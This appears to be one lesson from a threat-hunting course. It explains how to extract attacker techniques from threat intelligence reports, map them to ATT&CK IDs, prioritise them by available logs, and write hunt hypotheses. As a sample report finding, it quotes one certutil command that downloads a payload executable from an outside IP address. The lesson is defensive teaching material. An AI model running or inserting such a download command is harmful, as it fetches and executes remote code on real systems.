Powered by Pagefind — search only works after pnpm build
Lesson 2 of 5 · 30 min read
Reading CTI Reports for Hunts — TTP Extraction and ATT&CK Mapping
A 30-page CTI report contains at most 5–7 hunt-ready hypotheses. The rest is attribution, geopolitics, infrastructure lists, and context that won’t help you query your SIEM. The hunter’s job is to extract the behavioral signal and discard the rest.
The 3-Pass CTI Read
Pass 1: Scope Assessment (5 minutes, skim)
Questions to answer:
Who does this actor target? (sector, geography, organization size)
Does our organization match the targeting criteria?
When was this campaign active?
Is the campaign ongoing or historical?
Decision gate: If the actor doesn’t target organizations like ours AND the campaign ended 18+ months ago → file for reference, do not generate hypotheses. Resource constraint: every hunt hypothesis competes with others for analyst time.
Action described in report: → ATT&CK technique:"Sent phishing email with Word attachment" → T1566.001 (Spearphishing Attachment)"Macro ran PowerShell encoded command" → T1059.001 (PowerShell) + T1204.002"Downloaded second stage via certutil" → T1218.003 (Certutil)"Installed WMI subscription for persist." → T1546.003 (WMI Event Subscription)"Dumped LSASS for credentials" → T1003.001 (LSASS Memory)"Lateral movement via PsExec" → T1021.002 (SMB/WinRM via PsExec)"Used Cobalt Strike default profile" → T1071.001 (Web Protocols)
Prioritization: Not all TTPs are equally huntable. Score each:
TTP
Observable artifact
Log source available?
Hunt priority
T1566.001
Email headers, attachment hash
Email gateway, M365 UAL
High
T1059.001
Sysmon Event 1, PowerShell 4104
SIEM (if Sysmon deployed)
High
T1218.003
certutil command line
Sysmon Event 1
High
T1546.003
Sysmon Event 19/20/21, WMI query
SIEM (if WMI events collected)
Medium
T1003.001
Sysmon Event 10 (LSASS access), memory
SIEM + memory (harder)
Medium
T1021.002
WinEvt 4624 Type 3, SMB
SIEM
High
Pass 3: Hypothesis Generation (15 minutes)
For each high-priority TTP, write one hypothesis:
TTP: T1218.003 (Certutil)Hypothesis: "An adversary targeting organizations in our sector has been observed using certutil.exe with the -urlcache flag to download second-stage payloads from attacker-controlled web servers. If this technique was used against our environment between 2024-06-01 and 2024-09-01, we would observe Sysmon Event 1 with Image=certutil.exe and CommandLine containing '-urlcache' or '-f http'. The parent process would likely be cmd.exe spawned by a user application (Office, browser)."Data required: Sysmon Event 1, 90 days retentionValidation: Confirm Sysmon command line logging is enabled for all endpoints
ATT&CK Mapping with Confidence Levels
CTI reports assign implicit or explicit confidence to technique mappings. A hunter must recognize and act on confidence signals.
High-Confidence Mapping Indicators
Report text: "The malware executed the following command observed in sandbox analysis: certutil.exe -urlcache -f http://185.220.101.9/payload.exe C:\Temp\run.exe"→ Confidence: HIGH — specific command observed→ Hunt: query Sysmon Event 1 for exact parameter pattern
Low-Confidence Mapping Indicators
Report text: "The actor likely maintained persistence using a Windows mechanism, possibly scheduled tasks or registry run keys."→ Confidence: LOW — inferred, multiple techniques possible→ Hunt: generate hypotheses for BOTH T1053.005 and T1547.001, require additional corroboration before escalating
Mapping Confidence → Hunt Action
CTI Signal
Confidence
Hunt Action
Specific command/artifact shown
HIGH
Hunt directly; single corroborating indicator sufficient to flag
Behavioral description matches single technique
MEDIUM
Hunt with tighter filters; require 2 corroborating signals
”Suspected”, “likely”, technique inferred
LOW
Hunt but require 3 signals; document as “low-confidence lead”
Attribution without observable TTP
NONE
Cannot hunt; request additional technical details from CTI producer